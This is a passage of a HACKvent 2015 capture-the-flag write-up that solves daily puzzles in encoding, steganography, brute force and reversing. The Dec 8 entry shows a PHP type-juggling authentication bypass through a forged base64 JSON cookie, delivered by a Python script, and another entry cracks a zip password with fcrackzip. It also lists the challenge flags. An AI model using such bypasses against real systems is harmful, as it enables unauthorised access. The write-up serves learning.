klingon = "pagh wa'vatlh netlh wa'maH wa'maH wa' SaD wa' SaD wa'vatlh wa' wa'maH wa'maH wa'vatlh wa'maH wa' wa'maH wa'maH netlh pagh wa'maH wa' wa'vatlh wa' wa'vatlh SaD SaD wa' wa'vatlh netlh wa'maH wa' wa'maH wa'maH wa'vatlh wa' wa'maH wa'maH wa' wa' wa'vatlh SaD wa' wa'maH wa'maH wa'maH wa'vatlh wa'maH SaD wa'maH wa' wa'maH wa'maH wa' wa' wa' wa'maH wa'vatlh wa' wa'vatlh wa' SaD wa' SaD wa'maH wa' wa' wa'maH wa' SaD  wa'maH wa' wa'maH wa'maH wa'vatlh wa'maH wa' wa'vatlh wa' wa'maH wa' wa' wa'maH wa' netlh wa'maH wa'vatlh wa' wa' wa' wa'vatlh wa'maH wa' wa'maH wa'maH SaD wa' wa'vatlh wa'maH SaD wa'vatlh wa' wa'maH SaD wa' wa'maH SaD"
klingon2binary = {'netlh':'10000', 'SaD':'1000', "wa'vatlh":'100', "wa'maH":'10', "wa' ":'1', 'pagh':'0' }

binary=klingon
for key in klingon2binary:
    binary=binary.replace(key,klingon2binary[key])

binary = binary.replace(' ','')
n = int(binary, 2)
nugget = binascii.unhexlify('%x' % n)

print binary
print nugget

which output the following:

1
2
3
4
5
0100100001010110001100010011010100101101010000010110011001000100011001000010110101001101011100100011010101
0010100010110101111010011001100011000101110110001011010100101100110111011000010100111100101101010001100101
00010011010001101000

HV15-AfDd-Mr5J-zf1v-K7aO-FQ4h

Flag

HV15-AfDd-Mr5J-zf1v-K7aO-FQ4h

Dec 3: Catch me

Challenge

… if you can

Solution

We get an animated GIF images of a QR code. We see there are 29 frames, each with a small QR code. Manually reading the QR code of the first frame results in the letter ‘H’, so it would appear each frame contains one letter of the nugget.

We extract an read each frame of the gif and read the resulting QR code in python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os, re
from PIL import Image
from qrtools import QR

def extractFrames(giffile, outputdir):
    with Image.open(giffile) as frame:
        nframes = 0
        while frame:
            frame.save( '%s/%s-%s.gif' % (outputdir, os.path.basename(giffile), nframes ) , 'GIF')
            nframes += 1
            try:
                frame.seek( nframes )
            except EOFError:
                break;
        return True


# extract every fram
extractFrames('fast_response_code.gif', 'dec3_frames')

# read qr code in each extracted image
path="./dec3_frames/"

nugget=''
for filename in sorted(os.listdir(path), key=lambda x: int(re.findall(r'\d+', x)[0])):
    myCode = QR(filename=path+filename)
    if myCode.decode():
      nugget+=myCode.data_to_string()

print nugget

Flag

HV15-6Jhd-nWbQ-4dY8-yxH5-vSiA

Dec 4: Crypto 01

Challenge

a classic / simple one

Unfortunately, no one can be told what this is. You have to see it for yourself.

1
HOlAfOVWOqVd1o6q7u5Vj8Mv-----

Solution

The string is exactly the length of a nugget, all the characters for HV15 are there as well as the 5 dashes. Maybe we just need to rearrange the characters somehow? We notice that the characters to form “HV15” are always 6 apart, so we create a grid:

1
2
3
4
5
HOlAfO
VWOqVd
1o6q7u
5Vj8Mv
-----

reading this top-to-bottom and left-to-right gives the nugget

Flag

HV15-OWoV-lO6j-Aqq8-fV7M-Oduv

Dec 5: PDF

Challenge

… for fun and profit

It’s in the Chuchichäschtli, not a Chäschüechli !

Chuchichaeschtli.pdf

Solution

The pdf contains an image of a bauble with a QR code on it. It says

1
Oooops !

We see if there are any hidden files in the pdf (e.g. underneath the bauble image). We use http://www.extractpdf.com and find the following files:

We see that the first image was the one visible in the pdf. But it was covering the real QR code in the bauble of the third image. We scan this QR code to get the nugget.

Flag

HV15-bkPb-tPEM-Fh3n-wvOi-5ZgD

Dec 6: Lost …

Challenge

… in translation

1
HR7DYQ3ON4TC6U2AFAZDGJK3J44TYXZUNRCTATK2GEZDGJR5JJUC6ULUFQZEI5L6HY======

Solution

1
2
3
base32 decode: <~<Cno&/S@(23%[O9<_4lE0MZ123&=Jh/Qt,2Du~>
base85 decode: UI15-g9C8-DnVI-W0Ne-83S3-Z8Qp
ROT-13: HV15-t9P8-QaIV-J0Ar-83F3-M8Dc

Flag

HV15-t9P8-QaIV-J0Ar-83F3-M8Dc

Dec 7: imagination

Challenge

… is the eye of the soul

Imagine your quick response for today.

1
0x1fc137f82a7a0dd05d76ebbcbb74815d82c720ff555fc018801f78baaf93c051d55e46346fd16dd457f54451df65fcec3a493768ffc00948aff4154e090627753ffebafa7ddd568860a87a3fd88eb

(filename M4pMy8it5.txt)

Solution

“Imagine your quick response” and “map my bits” seem to suggest we need to create a QR code from the bits of the given hexstring

After some manual investigation we see that the hex string (with a zero prepended for padding) results in a binary string of exactly 625 characters, which is exactly 25 squared. This could represent a 25x25 QR code image! we convert the bits to pixels with a small python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from PIL import Image
from qrtools import QR
import textwrap

hexstring="01fc137f82a7a0dd05d76ebbcbb74815d82c720ff555fc018801f78baaf93c051d55e46346fd16dd457f54451df65fcec3a493768ffc00948aff4154e090627753ffebafa7ddd568860a87a3fd88eb"
data=int(hexstring,16)
binstring = bin(data)[2:]

# print bits in 25x25 square
print textwrap.fill(binstring,width=25)

# does look like a qr code, let's make an image from the bits!
outimg = Image.new( 'RGB', (25,25), "black")
pixels_out = outimg.load()

count=0
for bit in binstring:
    i=count%25
    j=count/25
    if bit == '0':
        pixels_out[(i,j)]=(255,255,255)
    count += 1

outimgname = "dec7_qrout.png"
outimg = outimg.resize((250,250))
outimg.save(outimgname,"png")

# read the QR code and output the encoded text
myCode = QR(filename=outimgname)
if myCode.decode():
    print myCode.data_to_string()

Which outputs the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1111111000001001101111111
1000001010100111101000001
1011101000001011101011101
1011101011101111001011101
1011101001000000101011101
1000001011000111001000001
1111111010101010101111111
0000000001100010000000000
1111101111000101110101010
1111100100111100000001010
0011101010101011110010001
1000110100011011111101000
1011011011101010001010111
1111010101000100010100011
1011111011001011111110011
1011000011101001001001001
1011101101000111111111100
0000000010010100100010101
1111111010000010101010011
1000001001000001100010011
1011101010011111111111110
1011101011111010011111011
1011101010101101000100001
1000001010100001111010001
1111111011000100011101011

HV15-aFsf-4ea1-2eGg-Llr4-pB5A

Flag

HV15-aFsf-4ea1-2eGg-Llr4-pB5A

Dec 8: Santa’s Christmas Store

Challenge

best christmas balls out there

u wanted to buy one of these beautiful balls for christmas, but Santa’s shop keeps telling you they were sold out … but maybe you should have a look yourself in the …

Hint:

Solution

From the hint we get the following code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<h1> my store </h1>
<div>
<?php

if($_POST['user']) {
    $auth['user'] = $_POST['user'];
    $auth['password'] = $_POST['password'];
    setcookie('auth', base64_encode(json_encode($auth)));
    $_COOKIE['auth'] = base64_encode(json_encode($auth));
}

error_reporting(E_ALL);
ini_set('display_errors,1');
$cookie=json_decode(base64_decode(@$_COOKIE['auth']));

if (!$cookie || $cookie->user != ..<hidden>..

?>

..login form..

<?php
} else{
?>

..where the nugget is..

<?php
}
?>

From the code we see that if the user has filled in the form, a cookie is returned with a base64 encoded json representation of the form data. For example filling in admin:admin yields the following cookie (un base64’ed here):

1
{"user":"admin",password":"admin"}

If no data is provided in the POST request, the value stored in the cookie is used. How does this help us? Well, if the cookie is used to send username and password, we can do a bit more than if we use the form. For instance use numbers as values instead of strings.

Python string comparisons can be tricky, and if == is used rather than ===, weird things can happen. For instance “somestring” == 0 always evaluates to true! So we post a request with a cookie that looks like

1
{"user":0,"password":0}

using python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import base64

# the url
url="http://hackvent.hacking-lab.com/xMasStore_wqbrGjHxxZ9YkbfiKiGC/index.php"

# create our cookie
cookiestring='{"user":0,"password":0}'
cookiestringb64=base64.b64encode(cookiestring)
cookies=dict(auth=cookiestringb64)

# post our request
r=requests.post(url, cookies=cookies)

# print the response
print r.text

response html page:

1
2
3
4
5
6
7
8
9
10
11
<!doctype html>
<html><head><title>Santa's Christmas Store - Best Christmas Balls out there - AdminCP</title>
</head>
<body>
<h1>Santa's Christmas Store - Best Christmas Balls out there - AdminCP</h1>
<div>
      <p>Welcome admin! Here is your daily goodie: <b>HV15-0Ch0-91zo-m99Y-kxGI-8iQ5</b></p>
</div>
<h1>NO NEED TO BF (BRUTEFORCE) THIS CHALLENGE, AS WITH ALL CHALLENGES IN HACKVENT, THX!</h1>
</body>
</html>

Flag

HV15-0Ch0-91zo-m99Y-kxGI-8iQ5

Dec 9: Sound Transmission

Challenge

Hear it, find it, brute it

sadly we didnt receive todays code transmission properly and it seems that a part of the information got lost. are you able to recover the missing parts?

all we know is that the lowercase sha1 of the code gives:

1
B39ECFBC2C64ADBB7C7A9292EEE31794D28FE224

and the sha1 of the case sensitive code should be:

1
0D353038908AD0FC8C51A5312BB3E2FEE1CDDF83

code_transmission.mp3

Solution

In the sound file we hear a voice saying the following letters, question marks indicate letters that were deliberatly left out.

1
HV?5-G?UJ-1YQ7-?DYC-2WLR-E6?J

That looks like almost a nugget. There are 4 unknown characters, of which we know the first one should be 1 to comply to the nugget format.

That leaves 3 unknowns, and we know what the sha1 hash of the lowercase version of the nugget should be. We can use that to find the 3 missing characters, and then we can try all the different casing of the string until we find the one that fits with the case-sensitive SHA1 hash. This sound like a very reasonable brute-force problem, so we write a small python script to solve it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import itertools
import hashlib

def all_casings(input_string):
    if not input_string:
        yield ""
    else:
        first = input_string[:1]
        if first.lower() == first.upper():
            for sub_casing in all_casings(input_string[1:]):
                yield first + sub_casing
        else:
            for sub_casing in all_casings(input_string[1:]):
                yield first.lower() + sub_casing
                yield first.upper() + sub_casing

target_lc='B39ECFBC2C64ADBB7C7A9292EEE31794D28FE224'.lower()
target_cs='0D353038908AD0FC8C51A5312BB3E2FEE1CDDF83'.lower()

charset='abcdefghijklmnopqrstuvwxyz0123456789'


for i in itertools.product(charset, repeat=3):
    nugget = 'hv15-g'+i[0]+'uj-1yq7-'+i[1]+'dyc-2wlr-e6'+i[2]+'j'
    h = hashlib.sha1()
    h.update(nugget)
    h_hex = h.hexdigest()
    if h_hex == target_lc:
        print 'Found lowercase match!'
        print ' --> nugget: '+ nugget +' (sha1 '+h.hexdigest()+')'
        break

print 'Searching for the correct case..'
for i in all_casings(nugget):
    h = hashlib.sha1()
    h.update(i)
    h_hex = h.hexdigest()
    if h_hex == target_cs:
        print 'Found case-sensitive match!'
        print ' --> nugget: '+ i + ' (sha1 '+h.hexdigest()+')'
        break

This outputs:

1
2
3
4
5
Found lowercase match!
 --> nugget: hv15-gnuj-1yq7-vdyc-2wlr-e6xj (sha1 b39ecfbc2c64adbb7c7a9292eee31794d28fe224)
Searching for the correct case..
Found case-sensitive match!
 --> nugget: HV15-GnUj-1YQ7-vdYC-2wlr-E6xj (sha1 0d353038908ad0fc8c51a5312bb3e2fee1cddf83)

Flag

HV15-GnUj-1YQ7-vdYC-2wlr-E6xj

Dec 10: Nasty Zip

Challenge

its so nasty, isnt it?

get the ZIP, you’ll know what’s to do!

zip file

Solution

The zip contains another zip, 1.zip, which contains another zip, 2.zip, etc.. Lookz like it’s zip files all the way down!

A peek in the strings command output leads us to suspect there are 31337 levels to this zipception

We unzip all the way down using the following bash script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

unzip nasty-Zip.zip

level=1

while [[ $level -lt 31337 ]]
do
    unzip -q -o -d  ${level} "${level}.zip"
    nextlevel=$[$level+1]
    cp "${level}/${nextlevel}.zip" .
    rm -R ${level}
    rm "${level}.zip"
    level=$nextlevel
done

probably not the fastest way but it worked..

the final zip file, 31337.zip contains a text file, worst.500, but is password protected. We check if it has a short password by bruteforcing it with all passwords upto length 6 with fcrackzip

1
2
3
4
$ fcrackzip -u -l 1-6 31337.zip


PASSWORD FOUND!!!!: pw == love

Yay! The zip file contained a text file with the nugget

Flag

HV15-iQYf-adNg-o4S9-JHc7-vfWu

Dec 11: Old School

Challenge

good old times

Most of you have not experienced this. Maybe your grandfather can help you out today!

Solution

I always like it when a challenge teaches me something completely new.

After some Googling we find out this is an IBM 96 column punch card. It has three rows of 32 characters each, so can encode a message of 96 characters. Each character is represented by a set of holes in the rows

labelled B,A,8,4,2,1

The holes in our challenge are indicated by transparent holes

Conveniently, we also find an image online containing all possible characters:

so BA---1 signifies letter A, BA--2- signifies B, etc. We use this to translate the message.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# let binary string represent the punches (1=punched, 0=not punched)
# 110001 = A, 110010=B etc
#

holes2ascii = {'110001':'A', '110010':'B', '110011':'C', '110100':'D',
               '110101':'E', '110110':'F', '110111':'G', '111000':'H',
               '111001':'I', '100001':'J', '100010':'K', '100011':'L',
               '100100':'M', '100101':'N', '100110':'O', '100111':'P',
               '101000':'Q', '101001':'R', '010010':'S', '010011':'T',
               '010100':'U', '010101':'V', '010110':'W', '010111':'X',
               '011000':'Y', '011001':'Z', '000001':'1', '000010':'2',
               '000011':'3', '000100':'4', '000101':'5', '000110':'6',
               '000111':'7', '001000':'8', '001001':'9', '010000':'0',
               '001100':'@', '001011':'#', '101100':'*', '101011':'$',
               '100000':'-', '010001':'/', '011011':',', '111011':'.',
               '111110':'+', '011101':'_', '101010':':', '001010':'-??-',
               '101110':';', '001110':'=', '011010':'&', '111100':'<',
               '011110':'>', '110000':'}', '111111':'|', '101111':'-??-',
               '111010':'-??-', '011100':'%', '011111':'?', '001101':"'",
               '001111':'"', '111101':'(', '101101':')', '000000':' '
               }

# get the holes per word
message ='010110 101001 111001 010011 110101 000000 010011 111000 110101 000000 000110 000000 110010 100011 100110 110011 100010 010010 000000 110001 100011 010011 110101 101001 100101 110001 010011 110101 100011 011000 000000'
message+='111000 010101 000001 000101 111111 100100 000011 111000 100101 111111 110010 110111 000101 111000 111111 100011 010100 110110 110101 111111 001000 010110 100111 100100 111111 100010 011001 110110 100010 000000'
message+='010100 100111100111110101101001000000 110001100101110100000000 100011100110010110110101101001000000 010011100110000000 110111110001111001100101000000 100101010100110111110111110101010011000000'

message = message.replace(' ','')
letters=map(''.join, zip(*[iter(message)]*6))

print ''.join(holes2ascii[l] for l in letters)

Output:

1
WRITE THE 6 BLOCKS ALTERNATELY HV15|M3HN|BG5H|LUFE|8WPM|KZFK UPPER AND LOWER TO GAIN NUGGET

we do what it says, starting with uppercase block to conform to the nugget format.

Flag

HV15-m3hn-BG5H-lufe-8WPM-kzfk

Dec 12: High Performance Computing

Challenge

We were given this little piece of code to run. Unfortunately it takes a bit too long to terminate on our systems and even gcc’s -O3 does not seem to help. Maybe you want to run it on your new peta-flop CPU for a couple of years?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdint.h>

uint64_t foo(uint64_t a) {
	uint64_t s = a - 42;
	s += 23*2-3;
	return s;
}

uint64_t bar(uint64_t a) {
	uint64_t s = a + 42;
	s -= 23*2-3;
	return s;
}

uint64_t baz(uint64_t a, uint64_t b) {
	uint64_t r = 0;
	for(uint64_t i=0; i<a; i++)
		r = foo(r);
	for(uint64_t i=0; i<b; i++)
		r = foo(r);

	return r;
}

uint64_t spam(uint64_t a, uint64_t b) {
	uint64_t r = baz(0,a);
	for(uint64_t i=0; i<b; i++)
		r = bar(r);

	return r;
}

uint64_t eggs(uint64_t a, uint64_t b) {
	uint64_t r = 0;
	for(uint64_t i=0; i<a; i++)
		r = baz(r, b);
	return r;
}

uint64_t merry(uint64_t a, uint64_t b) {
	uint64_t i;
	for(i=0; a>=b; i++)
		a = spam(a, b);
	return i;
}

uint64_t xmas(uint64_t a, uint64_t b) {
	return spam(a, eggs(merry(a,b),b));
}

uint64_t hackvent(uint64_t a, uint64_t b) {
	uint64_t r = 1;
	for(uint64_t i=0; i<a; i++)
		r = eggs(r, b);
	return r;
}


int main() {
	uint64_t val=0;
	for(uint64_t i=0; i<0xC0DE42; i++) {
		val = xmas(eggs(baz(hackvent(merry(i,42),3),val),i),0x42DEADBABEC0FFEE);
	}
	printf("HV15-mHPC-%04llx-%04llx-%04llx-%04llx\n",
		val>>48,(val&0x0000FFFF00000000)>>32,
		(val&0x00000000FFFF0000)>>16, (val&0x000000000000FFFF));

	return 0;
}

Solution

This code would take forever to terminate, so we must rewrite the code to optimize it for speed.

We notice that most of the functions actually perform very simple operations, but go out of their way to do it very slowly:

1
2
3
4
5
6
7
8
foo(a)        --  a++
bar(a)        --  a--
baz(a,b)      --  a+b
spam(a,b)     --  a-b
eggs(a,b)     --  a*b
merry(a,b)    --  a/b
xmas(a,b)     --  a - (a/b)*b
hackvent(a,b) --  b^a

We factor out most of these functions. The hackvent function cannot simply be replaced by pow(b,a) because we are using 64 bit integers,

but we can use a little trick to speed up the integer power function using the knowledge that:

1
2
a^n  --> a^(n/2) * a^(n/2)          for even n
         a * a^(n/2) * a^(n/2)      for odd n

So we can write a recursive function to calculate the power which will be much quicker.

After applying all optimisations, our code looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdint.h>

uint64_t mypow(uint64_t base, uint64_t exp){
	if (exp==0)
		return 1

	uint64_t x = mypow(base,exp/2);

	if(exp % 2==0)
		return x*x;
	else
		return base*x*x;
}

uint64_t xmas(uint64_t a, uint64_t b) {
	return a - (a/b)*b;
}

int main() {
	uint64_t val=0;
	for(uint64_t i=0; i<0xC0DE42; i++) {
                val = xmas( (mypow( 3,i/42) + val) * i ,0x42DEADBABEC0FFEE);
	}

	printf("HV15-mHPC-%04llx-%04llx-%04llx-%04llx\n",
		val>>48,(val&0x0000FFFF00000000)>>32,
		(val&0x00000000FFFF0000)>>16, (val&0x000000000000FFFF));
	return 0;
}

And gives us our nugget within a second.

NOTE: The above power function only works for positive exponents, a more general integer power algorithm is:

1
2
3
4
5
6
7
8
9
10
uint64_t mypow2(uint64_t base, uint64_t exp){
	uint64_t result = 1;
    	while (exp){
        	if (exp & 1)
        	    result *= base;
        	exp >>= 1;
        	base *= base;
    	}
    	return result;
}

Flag

HV15-mHPC-067e-751e-f50e-17e3

Dec 13: Ball in plain sight!?!

Challenge

… here it is, but will you be able to reveal it’s secret?

BALL-O-MATIC

There are days, in which you don’t get immediately the HV15-Nugget. This is such a day! Put the resulting flag or sentence of the day here and get the only counting HV15-Nugget

Solution

So we are looking for a hidden message, but it will not be the HV15- string.

Playing around with various settings in GIMP we can see that there are some letters hidden in the images, but we can’t quite make out what it says:

We check out the pixel values in python and notice that most values are odd..

Hmm, lets see what we get when we only output the pixels with even pixel value in the red channel:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image

img = Image.open('ball_3h6SOemwRR_PmQhXh2AM.png')
pixels_orig = img.load()
(w,h)=img.size

outimg = Image.new( 'RGB', (w,h), "white")
pixels_out = outimg.load()

for i in range(0,h):
    for j in range(0,w):
      (r,g,b) = pixels_orig[j,i]
      if(r%2==0):
          pixels_out[j,i]=(0,0,0)

outimg.save("dec13_evenredval.png","png")

We get the following image:

Aha! seems like we’re on the right track :) ..Let’s check out the other channels. The green channel gives nothing, but blue yields:

XKCD comic 26 is:

Ok, let’s try taking the fourier transform with imagemagick:

1
$ convert ball_3h6SOemwRR_PmQhXh2AM.png -fft  +depth +adjoin fourier-%d.png

this gives two images, the magnitude and the phase:

The magnitude image may appear black, but contains more information than meets the eye. We enhance the image with a log transform to produce a frequence spectrum image:

1
$ convert fourier-0.png -auto-level -evaluate log 12000 spectrum.png

We see text in the spectrum! ..this must be what we put in the ball-o-matic to get our nugget.

1
f0uRier-ru1ez

Indeed it was, our ball-o-matic turns into our bauble with QR code:

Flag

HV15-1W0A-gTOY-bOpM-mexV-LoAz

Dec 14: Reversing #1

Challenge

an easy binary starter

pull out the Nugget out of this binary.

hv15_ZM0qfjSu8Tf3OZDqjS74.exe

Solution

We get a .NET binary. We decompile the executable with ILSpy (http://ilspy.net/) and get the following C# code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace hv15
{
	[DesignerGenerated]
	public class Form1 : Form
	{
		public class GlobalVariables
		{
			public static string assembly = "__ERROR_HANDLER";
		}

		private IContainer components;

		[AccessedThroughProperty("Button1")]
		private Button _Button1;

		[AccessedThroughProperty("TextBox1")]
		private TextBox _TextBox1;

		[AccessedThroughProperty("Label1")]
		private Label _Label1;

		[AccessedThroughProperty("PictureBox1")]
		private PictureBox _PictureBox1;

		[AccessedThroughProperty("Label2")]
		private Label _Label2;

		internal virtual Button Button1
		{
			get
			{
				return this._Button1;
			}
			[MethodImpl(MethodImplOptions.Synchronized)]
			set
			{
				EventHandler value2 = new EventHandler(this.Button1_Click);
				if (this._Button1 != null)
				{
					this._Button1.Click -= value2;
				}
				this._Button1 = value;
				if (this._Button1 != null)
				{
					this._Button1.Click += value2;
				}
			}
		}

		internal virtual TextBox TextBox1
		{
			get
			{
				return this._TextBox1;
			}
			[MethodImpl(MethodImplOptions.Synchronized)]
			set
			{
				this._TextBox1 = value;
			}
		}

		internal virtual Label Label1
		{
			get
			{
				return this._Label1;
			}
			[MethodImpl(MethodImplOptions.Synchronized)]
			set
			{
				this._Label1 = value;
			}
		}

		internal virtual PictureBox PictureBox1
		{
			get
			{
				return this._PictureBox1;
			}
			[MethodImpl(MethodImplOptions.Synchronized)]
			set
			{
				this._PictureBox1 = value;
			}
		}

		internal virtual Label Label2
		{
			get
			{
				return this._Label2;
			}
			[MethodImpl(MethodImplOptions.Synchronized)]
			set
			{
				this._Label2 = value;
			}
		}

		public Form1()
		{
			base.Load += new EventHandler(this.Form1_Load);
			this.InitializeComponent();
		}

		[DebuggerNonUserCode]
		protected override void Dispose(bool disposing)
		{
			try
			{
				if (disposing && this.components != null)
				{
					this.components.Dispose();
				}
			}
			finally
			{
				base.Dispose(disposing);
			}
		}

		[DebuggerStepThrough]
		private void InitializeComponent()
		{
			ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
			this.Button1 = new Button();
			this.TextBox1 = new TextBox();
			this.Label1 = new Label();
			this.PictureBox1 = new PictureBox();
			this.Label2 = new Label();
			((ISupportInitialize)this.PictureBox1).BeginInit();
			this.SuspendLayout();
			Control arg_70_0 = this.Button1;
			Point location = new Point(266, 143);
			arg_70_0.Location = location;
			this.Button1.Name = "Button1";
			Control arg_98_0 = this.Button1;
			Size size = new Size(87, 25);
			arg_98_0.Size = size;
			this.Button1.TabIndex = 0;
			this.Button1.Text = "Verify";
			this.Button1.UseVisualStyleBackColor = true;
			Control arg_DA_0 = this.TextBox1;
			location = new Point(266, 108);
			arg_DA_0.Location = location;
			this.TextBox1.Name = "TextBox1";
			Control arg_105_0 = this.TextBox1;
			size = new Size(333, 20);
			arg_105_0.Size = size;
			this.TextBox1.TabIndex = 1;
			this.Label1.AutoSize = true;
			Control arg_137_0 = this.Label1;
			location = new Point(263, 79);
			arg_137_0.Location = location;
			this.Label1.Name = "Label1";
			Control arg_162_0 = this.Label1;
			size = new Size(336, 14);
			arg_162_0.Size = size;
			this.Label1.TabIndex = 2;
			this.Label1.Text = "Please enter the daily Code and click on Verify";
			this.PictureBox1.Image = (Image)componentResourceManager.GetObject("PictureBox1.Image");
			Control arg_1B0_0 = this.PictureBox1;
			location = new Point(12, 12);
			arg_1B0_0.Location = location;
			this.PictureBox1.Name = "PictureBox1";
			Control arg_1DE_0 = this.PictureBox1;
			size = new Size(233, 156);
			arg_1DE_0.Size = size;
			this.PictureBox1.TabIndex = 3;
			this.PictureBox1.TabStop = false;
			this.Label2.AutoSize = true;
			this.Label2.Enabled = false;
			Control arg_22B_0 = this.Label2;
			location = new Point(438, 154);
			arg_22B_0.Location = location;
			this.Label2.Name = "Label2";
			Control arg_256_0 = this.Label2;
			size = new Size(161, 14);
			arg_256_0.Size = size;
			this.Label2.TabIndex = 4;
			this.Label2.Text = "code by HACKVent santa";
			SizeF autoScaleDimensions = new SizeF(7f, 14f);
			this.AutoScaleDimensions = autoScaleDimensions;
			this.AutoScaleMode = AutoScaleMode.Font;
			size = new Size(617, 180);
			this.ClientSize = size;
			this.Controls.Add(this.Label2);
			this.Controls.Add(this.PictureBox1);
			this.Controls.Add(this.Label1);
			this.Controls.Add(this.TextBox1);
			this.Controls.Add(this.Button1);
			this.Font = new Font("Courier New", 8.25f, FontStyle.Regular, GraphicsUnit.Point, 0);
			this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
			this.Name = "Form1";
			this.StartPosition = FormStartPosition.CenterScreen;
			this.Text = "HACKVent 2015";
			((ISupportInitialize)this.PictureBox1).EndInit();
			this.ResumeLayout(false);
			this.PerformLayout();
		}

		private void Button1_Click(object sender, EventArgs e)
		{
			string text = this.TextBox1.Text;
			string left = this.Encrypt(text, Form1.GlobalVariables.assembly);
			if (Operators.CompareString(left, "zV5/UFU8PUD3N2T49IBuCwvGzCLYz39tkMZts7rfBU4=", false) == 0)
			{
				Interaction.MsgBox("yes, that is the key!", MsgBoxStyle.Information, "HACKVent 2015");
			}
			else
			{
				Interaction.MsgBox("nope, that is NOT the key!", MsgBoxStyle.Critical, "HACKVent 2015");
			}
		}

		public string Encrypt(string input, string pass)
		{
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
			string result;
			try
			{
				byte[] array = new byte[32];
				byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(pass));
				Array.Copy(sourceArray, 0, array, 0, 16);
				Array.Copy(sourceArray, 0, array, 15, 16);
				rijndaelManaged.Key = array;
				rijndaelManaged.Mode = CipherMode.ECB;
				ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
				byte[] bytes = Encoding.ASCII.GetBytes(input);
				result = Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));
			}
			catch (Exception expr_7B)
			{
				ProjectData.SetProjectError(expr_7B);
				Exception ex = expr_7B;
				Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, null);
				result = "";
				ProjectData.ClearProjectError();
			}
			return result;
		}

		private void Form1_Load(object sender, EventArgs e)
		{
			this.Show();
			this.TextBox1.Focus();
		}
	}
}

We see that the user input goes through an encrypt() function, and the base64-encoding of the result must equal zV5/UFU8PUD3N2T49IBuCwvGzCLYz39tkMZts7rfBU4=. The encrypt functions performs a Rijndael encryption in ECB mode. The key is derived from the string "__ERROR_HANDLER" (variable assembly) by computing the MD5 hash, and using this to construct the key as follows (variable array will contain the key) :

1
2
Array.Copy(sourceArray, 0, array, 0, 16);
Array.Copy(sourceArray, 0, array, 15, 16);

So our key is:

1
2
3
assembly = "__ERROR_HANDLER"
MD5(assembly) = E5B45EB06725D6A06F6C337C58730956
key for encryption = E5B45EB06725D6A06F6C337C587309E5B45EB06725D6A06F6C337C5873095600

Since we know our key and our desired output, we can now reverse the Rijndael encryption in C# to get the nugget as follows:

(This can also be done online using dotnetfiddle (https://dotnetfiddle.net/) )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
using System;
using System.Security.Cryptography;
using System.Text;

public class Program
{
	public static void Main()
	{

		string pass = "__ERROR_HANDLER";
		string target= "zV5/UFU8PUD3N2T49IBuCwvGzCLYz39tkMZts7rfBU4=";
		byte[] keyarray = new byte[32];

		// Base64 decrypt target string
		byte[] target2 = Convert.FromBase64String(target);

		// Set our encryption/decryption key
		MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
		byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(pass));
		Array.Copy(sourceArray, 0, keyarray, 0, 16);
		Array.Copy(sourceArray, 0, keyarray, 15, 16);

		// Set up Rijndael Decrypt
		RijndaelManaged rijndaelManaged = new RijndaelManaged();
		rijndaelManaged.Key = keyarray;
